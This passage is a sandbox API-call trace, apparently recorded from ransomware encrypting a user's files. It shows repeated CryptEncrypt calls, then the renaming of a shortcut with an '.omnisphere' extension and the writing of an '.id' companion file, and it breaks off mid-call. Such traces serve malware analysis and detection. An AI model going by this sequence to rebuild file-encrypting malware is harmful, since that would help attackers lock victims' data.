dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.982] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.983] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.984] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.985] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.986] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.987] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.988] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.988] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.988] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0128.988] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.988] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0128.988] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xa13, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0128.988] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0128.988] GetProcessHeap () returned 0x1600000 [0128.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b4) returned 0x16f8fd8 [0128.989] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk.omnisphere")) returned 1 [0128.990] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.omnisphere.id" [0128.990] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0128.991] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0128.992] CloseHandle (hObject=0x3c0) returned 1 [0128.992] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.992] CloseHandle (hObject=0x288) returned 1 [0128.993] SetEndOfFile (hFile=0x28c) returned 1 [0128.993] FlushFileBuffers (hFile=0x28c) returned 1 [0128.999] CloseHandle (hObject=0x28c) returned 1 [0128.999] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned 1 [0128.999] GetProcessHeap () returned 0x1600000 [0128.999] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17275f8 [0128.999] WideCharToMultiByte (in: 